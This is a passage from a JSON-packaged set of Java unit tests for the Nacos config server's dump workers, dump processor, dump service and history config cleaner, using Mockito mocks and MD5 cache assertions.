+ 1, \"tenant\" + 1)).getConfigCache()\n                        .getMd5());\n        \n    }\n    \n    @Test\n    void testDumpChangeOfChangedConfigsEqualsTimestampMd5Update() {\n        PropertyUtil.setDumpChangeOn(true);\n        dumpChangeConfigWorker.setPageSize(3);\n        //mock delete first page\n        \n        Timestamp startTime = dumpChangeConfigWorker.startTime;\n        String dataIdPrefix = \"dataIdEqualsTimestampMd5Update\";\n        \n        //pre set cache for id1 with old timestamp\n        preSetCache(dataIdPrefix, 1, startTime.getTime() - 1);\n        \n        assertEquals(startTime.getTime() - 1,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        List<ConfigInfoStateWrapper> firstChanged = new ArrayList<>();\n        firstChanged.add(createConfigInfoStateWrapper(dataIdPrefix, 1, startTime.getTime() - 1));\n        \n        Mockito.when(configInfoPersistService.findChangeConfig(eq(startTime), eq(0L), eq(3))).thenReturn(firstChanged);\n        \n        //mock change config query obj\n        //1 timestamp-new&content-new\n        ConfigInfoWrapper configInfoWrapperNewForId1 = createConfigInfoWrapper(dataIdPrefix, 1, startTime.getTime() - 1);\n        configInfoWrapperNewForId1.setContent(\"content\" + System.currentTimeMillis());\n        Mockito.when(configInfoPersistService.findConfigInfo(eq(dataIdPrefix + 1), eq(\"group\" + 1), eq(\"tenant\" + 1)))\n                .thenReturn(configInfoWrapperNewForId1);\n        \n        dumpChangeConfigWorker.run();\n        \n        //expect cache to be cleared.\n        assertEquals(startTime.getTime() - 1,\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getLastModifiedTs());\n        assertEquals(MD5Utils.md5Hex(configInfoWrapperNewForId1.getContent(), \"UTF-8\"),\n                ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataIdPrefix + 1, \"group\" + 1, \"tenant\" + 1)).getConfigCache()\n                        .getMd5());\n        \n    }\n    \n    private void preSetCache(String dataIdPrefix, long id, long timeStamp) {\n        ConfigCacheService.dumpWithMd5(dataIdPrefix + id, \"group\" + id, \"tenant\" + id, \"content\" + id,\n                MD5Utils.md5Hex(\"content\" + id, \"UTF-8\"), timeStamp, \"json\", \"encrykey\" + id);\n    }\n    \n    private ConfigInfoStateWrapper createConfigInfoStateWrapper(String dataIdPreFix, long id, long timeStamp) {\n        ConfigInfoStateWrapper configInfoWrapper = new ConfigInfoStateWrapper();\n        configInfoWrapper.setDataId(dataIdPreFix + id);\n        configInfoWrapper.setGroup(\"group\" + id);\n        configInfoWrapper.setTenant(\"md5\" + id);\n        configInfoWrapper.setTenant(\"tenant\" + id);\n        configInfoWrapper.setId(id);\n        configInfoWrapper.setLastModified(timeStamp);\n        return configInfoWrapper;\n    }\n    \n    private ConfigInfoWrapper createConfigInfoWrapper(String dataIdPreFix, long id, long timeStamp) {\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        configInfoWrapper.setDataId(dataIdPreFix + id);\n        configInfoWrapper.setGroup(\"group\" + id);\n        configInfoWrapper.setMd5(\"md5\" + id);\n        configInfoWrapper.setContent(\"content\" + id);\n        configInfoWrapper.setTenant(\"tenant\" + id);\n        configInfoWrapper.setId(id);\n        configInfoWrapper.setLastModified(timeStamp);\n        return configInfoWrapper;\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/DumpChangeGrayConfigWorkerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\npublic class DumpChangeGrayConfigWorkerTest {\n    \n    DumpChangeGrayConfigWorker dumpGrayConfigWorker;\n    \n    @Mock\n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @Mock\n    HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @Mock\n    ConfigMigrateService configMigrateService;\n    \n    static MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    static MockedStatic<ConfigCacheService> configCacheServiceMockedStatic;\n    \n    static MockedStatic<ConfigExecutor> configExecutorMockedStatic;\n    \n    \n    /**\n     * Clean up.\n     */\n    @AfterEach\n    public void after() {\n        envUtilMockedStatic.close();\n        configCacheServiceMockedStatic.close();\n        configExecutorMockedStatic.close();\n        \n    }\n    \n    @BeforeEach\n    public void setUp() {\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        configCacheServiceMockedStatic = Mockito.mockStatic(ConfigCacheService.class);\n        configExecutorMockedStatic = Mockito.mockStatic(ConfigExecutor.class);\n        \n        envUtilMockedStatic.when(() -> EnvUtil.getAvailableProcessors(anyInt())).thenReturn(2);\n        dumpGrayConfigWorker = new DumpChangeGrayConfigWorker(configInfoGrayPersistService,\n                new Timestamp(System.currentTimeMillis()), historyConfigInfoPersistService, configMigrateService);\n    }\n    \n    @Test\n    public void testdumpGrayConfigWorkerRun() {\n        List<ConfigInfoGrayWrapper> mockList = new ArrayList<>();\n        ConfigInfoGrayWrapper mock1 = mock(1);\n        mockList.add(mock1);\n        when(configInfoGrayPersistService.findChangeConfig(any(Timestamp.class), any(long.class), eq(100))).thenReturn(\n                mockList);\n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.getContentMd5(\n                eq(GroupKey.getKeyTenant(mock1.getDataId(), mock1.getGroup(), mock1.getTenant())))).thenReturn(\"\");\n        \n        dumpGrayConfigWorker.run();\n        //verify dump gray executed\n        configCacheServiceMockedStatic.verify(\n                () -> ConfigCacheService.dumpGray(eq(mock1.getDataId()), eq(mock1.getGroup()), eq(mock1.getTenant()),\n                        eq(mock1.getGrayName()), eq(mock1.getGrayRule()), eq(mock1.getContent()),\n                        eq(mock1.getLastModified()), eq(mock1.getEncryptedDataKey())));\n        //verify task scheduled\n        configExecutorMockedStatic.verify(() -> ConfigExecutor.scheduleConfigChangeTask(any(DumpChangeGrayConfigWorker.class),\n                eq(PropertyUtil.getDumpChangeWorkerInterval()), eq(TimeUnit.MILLISECONDS)));\n        \n    }\n    \n    ConfigInfoGrayWrapper mock(int id) {\n        ConfigInfoGrayWrapper configInfoGrayWrapper = new ConfigInfoGrayWrapper();\n        configInfoGrayWrapper.setDataId(\"mockdataid\" + id);\n        configInfoGrayWrapper.setGroup(\"mockgroup\" + id);\n        configInfoGrayWrapper.setTenant(\"tenant\" + id);\n        configInfoGrayWrapper.setContent(\"content\" + id);\n        configInfoGrayWrapper.setGrayName(\"graytags1\" + id);\n        configInfoGrayWrapper.setGrayRule(\n                \"{\\\"type\\\":\\\"tagv2\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"expr\\\":\\\"middleware.server.key\\\\u003dgray123\\\",\\\"priority\\\":1}\");\n        return configInfoGrayWrapper;\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/DumpProcessorTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigRocksDbDiskService;\nimport com.alibaba.nacos.config.server.service.dump.processor.DumpProcessor;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DumpProcessorTest {\n    \n    @Mock\n    DynamicDataSource dynamicDataSource;\n    \n    @Mock\n    DataSourceService dataSourceService;\n    \n    @Mock\n    ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @Mock\n    ConfigMigrateService configMigrateService;\n    \n    ExternalDumpService dumpService;\n    \n    DumpProcessor dumpProcessor;\n    \n    MockedStatic<DynamicDataSource> dynamicDataSourceMockedStatic;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    @BeforeEach\n    void init() throws Exception {\n        dynamicDataSourceMockedStatic = Mockito.mockStatic(DynamicDataSource.class);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(EnvUtil.getNacosHome()).thenReturn(System.getProperty(\"user.home\"));\n        when(EnvUtil.getProperty(eq(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG), eq(Boolean.class),\n                eq(false))).thenReturn(false);\n        when(EnvUtil.getProperty(eq(\"memory_limit_file_path\"),\n                eq(\"/sys/fs/cgroup/memory/memory.limit_in_bytes\"))).thenReturn(\n                \"/sys/fs/cgroup/memory/memory.limit_in_bytes\");\n        \n        dynamicDataSourceMockedStatic.when(DynamicDataSource::getInstance).thenReturn(dynamicDataSource);\n        \n        when(dynamicDataSource.getDataSource()).thenReturn(dataSourceService);\n        \n        dumpService = new ExternalDumpService(configInfoPersistService, null, null,\n                configInfoGrayPersistService, null, configMigrateService);\n        dumpProcessor = new DumpProcessor(configInfoPersistService, configInfoGrayPersistService);\n        Field[] declaredFields = ConfigDiskServiceFactory.class.getDeclaredFields();\n        for (Field filed : declaredFields) {\n            if (filed.getName().equals(\"configDiskService\")) {\n                filed.setAccessible(true);\n                filed.set(null, createDiskService());\n            }\n        }\n        \n    }\n    \n    protected ConfigDiskService createDiskService() {\n        return new ConfigRocksDbDiskService();\n    }\n    \n    @AfterEach\n    void after() throws Exception {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        ConfigDiskServiceFactory.getInstance().clearAll();\n        ConfigDiskServiceFactory.getInstance().clearAllGray();\n    \n        Field[] declaredFields = ConfigDiskServiceFactory.class.getDeclaredFields();\n        for (Field filed : declaredFields) {\n            if (filed.getName().equals(\"configDiskService\")) {\n                filed.setAccessible(true);\n                filed.set(null, null);\n            }\n        }\n    }\n    \n    @Test\n    void testDumpNormalAndRemove() throws IOException {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        String content = \"testContent你好\" + System.currentTimeMillis();\n        long time = System.currentTimeMillis();\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        configInfoWrapper.setDataId(dataId);\n        configInfoWrapper.setGroup(group);\n        configInfoWrapper.setTenant(tenant);\n        configInfoWrapper.setContent(content);\n        configInfoWrapper.setLastModified(time);\n        \n        Mockito.when(configInfoPersistService.findConfigInfo(eq(dataId), eq(group), eq(tenant)))\n                .thenReturn(configInfoWrapper);\n        \n        String handlerIp = \"127.0.0.1\";\n        long lastModified = System.currentTimeMillis();\n        DumpTask dumpTask = new DumpTask(GroupKey2.getKey(dataId, group, tenant), null, lastModified, handlerIp);\n        boolean process = dumpProcessor.process(dumpTask);\n        assertTrue(process);\n        \n        //Check cache\n        CacheItem contentCache = ConfigCacheService.getContentCache(GroupKey2.getKey(dataId, group, tenant));\n        assertEquals(MD5Utils.md5Hex(content, \"UTF-8\"), contentCache.getConfigCache().getMd5());\n        assertEquals(time, contentCache.getConfigCache().getLastModifiedTs());\n        //check disk\n        String contentFromDisk = ConfigDiskServiceFactory.getInstance().getContent(dataId, group, tenant);\n        assertEquals(content, contentFromDisk);\n        \n        // remove\n        Mockito.when(configInfoPersistService.findConfigInfo(eq(dataId), eq(group), eq(tenant))).thenReturn(null);\n        \n        boolean processRemove = dumpProcessor.process(dumpTask);\n        assertTrue(processRemove);\n        \n        //Check cache\n        CacheItem contentCacheAfterRemove = ConfigCacheService.getContentCache(GroupKey2.getKey(dataId, group, tenant));\n        assertTrue(contentCacheAfterRemove == null);\n        //check disk\n        String contentFromDiskAfterRemove = ConfigDiskServiceFactory.getInstance().getContent(dataId, group, tenant);\n        assertNull(contentFromDiskAfterRemove);\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/DumpProcessorUserRwaDiskTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigRawDiskService;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\n\n@ExtendWith(MockitoExtension.class)\nclass DumpProcessorUserRwaDiskTest extends DumpProcessorTest {\n    \n    @BeforeEach\n    public void init() throws Exception {\n        super.init();\n    }\n    \n    @Override\n    protected ConfigDiskService createDiskService() {\n        return new ConfigRawDiskService();\n    }\n    \n    @AfterEach\n    public void after() throws Exception {\n        super.after();\n    }\n    \n    @Test\n    public void testDumpNormalAndRemove() throws IOException {\n        super.testDumpNormalAndRemove();\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/DumpServiceTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.config.server.manager.TaskManager;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.util.concurrent.TimeUnit;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\n\n@ExtendWith(SpringExtension.class)\nclass DumpServiceTest {\n    \n    private static final String BETA_TABLE_NAME = \"config_info_beta\";\n    \n    private static final String TAG_TABLE_NAME = \"config_info_tag\";\n    \n    @Mock\n    DefaultHistoryConfigCleaner defaultHistoryConfigCleaner = new DefaultHistoryConfigCleaner();\n    \n    @Mock\n    ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    \n    NamespacePersistService namespacePersistService;\n    \n    @Mock\n    HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    @Mock\n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @Mock\n    ServerMemberManager memberManager;\n    \n    @Mock\n    ConfigMigrateService configMigrateService;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<ConfigExecutor> configExecutorMocked;\n    \n    MockedStatic<PropertyUtil> propertyUtilMockedStatic;\n    \n    MockedStatic<HistoryConfigCleanerManager> historyConfigCleanerManagerMockedStatic;\n    \n    @Mock\n    private DataSourceService dataSourceService;\n    \n    private DumpService dumpService;\n    \n    @Mock\n    private TaskManager dumpTaskMgr;\n    \n    @BeforeEach\n    void setUp() {\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        propertyUtilMockedStatic = Mockito.mockStatic(PropertyUtil.class);\n        propertyUtilMockedStatic.when(() -> PropertyUtil.getAllDumpPageSize()).thenReturn(100);\n        propertyUtilMockedStatic.when(() -> PropertyUtil.getDumpChangeWorkerInterval()).thenReturn(1000 * 60L);\n        \n        ReflectionTestUtils.setField(DynamicDataSource.getInstance(), \"localDataSourceService\", dataSourceService);\n        ReflectionTestUtils.setField(DynamicDataSource.getInstance(), \"basicDataSourceService\", dataSourceService);\n        dumpService = new ExternalDumpService(configInfoPersistService, namespacePersistService,\n                historyConfigInfoPersistService, configInfoGrayPersistService, memberManager, configMigrateService);\n        configExecutorMocked = Mockito.mockStatic(ConfigExecutor.class);\n        historyConfigCleanerManagerMockedStatic = Mockito.mockStatic(HistoryConfigCleanerManager.class);\n        historyConfigCleanerManagerMockedStatic.when(\n                () -> HistoryConfigCleanerManager.getHistoryConfigCleaner(anyString()))\n                .thenReturn(defaultHistoryConfigCleaner);\n        \n    }\n    \n    @AfterEach\n    void after() {\n        envUtilMockedStatic.close();\n        configExecutorMocked.close();\n        propertyUtilMockedStatic.close();\n        historyConfigCleanerManagerMockedStatic.close();\n    }\n    \n    @Test\n    void dumpRequest() throws Throwable {\n        String dataId = \"12345667dataId\";\n        String group = \"234445group\";\n        DumpRequest dumpRequest = DumpRequest.create(dataId, group, \"testtenant\", System.currentTimeMillis(),\n                \"127.0.0.1\");\n        // TaskManager dumpTaskMgr;\n        ReflectionTestUtils.setField(dumpService, \"dumpTaskMgr\", dumpTaskMgr);\n        Mockito.doNothing().when(dumpTaskMgr).addTask(any(), any());\n        dumpService.dump(dumpRequest);\n        Mockito.verify(dumpTaskMgr, times(1))\n                .addTask(eq(GroupKey.getKeyTenant(dataId, group, dumpRequest.getTenant())), any(DumpTask.class));\n        \n        dumpRequest.setGrayName(\"tag_123\");\n        dumpService.dump(dumpRequest);\n        Mockito.verify(dumpTaskMgr, times(1)).addTask(\n                eq(GroupKey.getKeyTenant(dataId, group, dumpRequest.getTenant()) + \"+gray+\"\n                        + dumpRequest.getGrayName()), any(DumpTask.class));\n        \n    }\n    \n    @Test\n    void dumpOperate() throws Throwable {\n        configExecutorMocked.when(\n                () -> ConfigExecutor.scheduleConfigTask(any(Runnable.class), anyInt(), anyInt(), any(TimeUnit.class)))\n                .thenAnswer(invocation -> null);\n        configExecutorMocked.when(\n                () -> ConfigExecutor.scheduleConfigChangeTask(any(Runnable.class), anyInt(), any(TimeUnit.class)))\n                .thenAnswer(invocation -> null);\n        Mockito.when(namespacePersistService.isExistTable(BETA_TABLE_NAME)).thenReturn(true);\n        Mockito.when(namespacePersistService.isExistTable(TAG_TABLE_NAME)).thenReturn(true);\n        \n        Mockito.when(configInfoPersistService.findConfigMaxId()).thenReturn(300L);\n        dumpService.dumpOperate();\n        \n        // expect dump\n        Mockito.verify(configInfoPersistService, times(1)).findAllConfigInfoFragment(0, 100, true);\n        Mockito.verify(configInfoPersistService, times(1)).findConfigMaxId();\n        Mockito.verify(configInfoGrayPersistService, times(1)).configInfoGrayCount();\n        \n        // expect dump formal,beta,tag,history clear,config change task to be scheduled.\n        // expect config clear history task be scheduled.\n        configExecutorMocked.verify(\n                () -> ConfigExecutor.scheduleConfigTask(any(DumpService.DumpAllProcessorRunner.class), anyLong(),\n                        anyLong(), eq(TimeUnit.MINUTES)), times(1));\n        \n        configExecutorMocked.verify(\n                () -> ConfigExecutor.scheduleConfigTask(any(DumpService.DumpAllGrayProcessorRunner.class), anyLong(),\n                        anyLong(), eq(TimeUnit.MINUTES)), times(1));\n        configExecutorMocked.verify(\n                () -> ConfigExecutor.scheduleConfigChangeTask(any(DumpChangeConfigWorker.class), anyLong(),\n                        eq(TimeUnit.MILLISECONDS)), times(1));\n        configExecutorMocked.verify(\n                () -> ConfigExecutor.scheduleConfigTask(any(DumpService.ConfigHistoryClear.class), anyLong(), anyLong(),\n                        eq(TimeUnit.MINUTES)), times(1));\n    }\n    \n    @Test\n    void clearHistory() {\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"nacos.config.retention.days\"))).thenReturn(\"10\");\n        Mockito.when(memberManager.isFirstIp()).thenReturn(true);\n        DumpService.ConfigHistoryClear configHistoryClear = dumpService.new ConfigHistoryClear(\n                defaultHistoryConfigCleaner);\n        configHistoryClear.run();\n        Mockito.verify(defaultHistoryConfigCleaner, times(1)).cleanHistoryConfig();\n    }\n    \n    @Test\n    void testHandleConfigDataChange() {\n        ConfigDataChangeEvent configDataChangeEvent = new ConfigDataChangeEvent(\"dataId\", \"group\", null,\n                System.currentTimeMillis());\n        ReflectionTestUtils.setField(dumpService, \"dumpTaskMgr\", dumpTaskMgr);\n        Mockito.doNothing().when(dumpTaskMgr).addTask(any(), any());\n        \n        dumpService.handleConfigDataChange(configDataChangeEvent);\n        Mockito.verify(dumpTaskMgr, times(1)).addTask(\n                eq(GroupKey.getKeyTenant(configDataChangeEvent.dataId, configDataChangeEvent.group,\n                        configDataChangeEvent.tenant)), any(DumpTask.class));\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/HistoryConfigCleanerConfigTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\n\n@ExtendWith(SpringExtension.class)\nclass HistoryConfigCleanerConfigTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    @BeforeEach\n    public void before() {\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n    }\n    \n    @Test\n    public void test() {\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), any(), anyString())).thenReturn(\"test\");\n        HistoryConfigCleanerConfig historyConfigCleanerConfig = HistoryConfigCleanerConfig.getInstance();\n        historyConfigCleanerConfig.getConfigFromEnv();\n        assertEquals(\"test\", historyConfigCleanerConfig.getActiveHistoryConfigCleaner());\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(anyString(), any(), anyString())).thenReturn(null);\n        historyConfigCleanerConfig.getConfigFromEnv();\n        assertEquals(\"nacos\", historyConfigCleanerConfig.getActiveHistoryConfigCleaner());\n    }\n    \n    @AfterEach\n    public void after() {\n        envUtilMockedStatic.close();\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/HistoryConfigCleanerManagerTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass HistoryConfigCleanerManagerTest {\n    \n    @Test\n    public void testHistoryConfigCleanerManangerTest() {\n        HistoryConfigCleaner cleaner = HistoryConfigCleanerManager.getHistoryConfigCleaner(\n                HistoryConfigCleanerConfig.getInstance().getActiveHistoryConfigCleaner());\n        assertEquals(cleaner.getName(), \"nacos\");\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/dump/disk/ConfigDiskServiceFactoryTest.java",
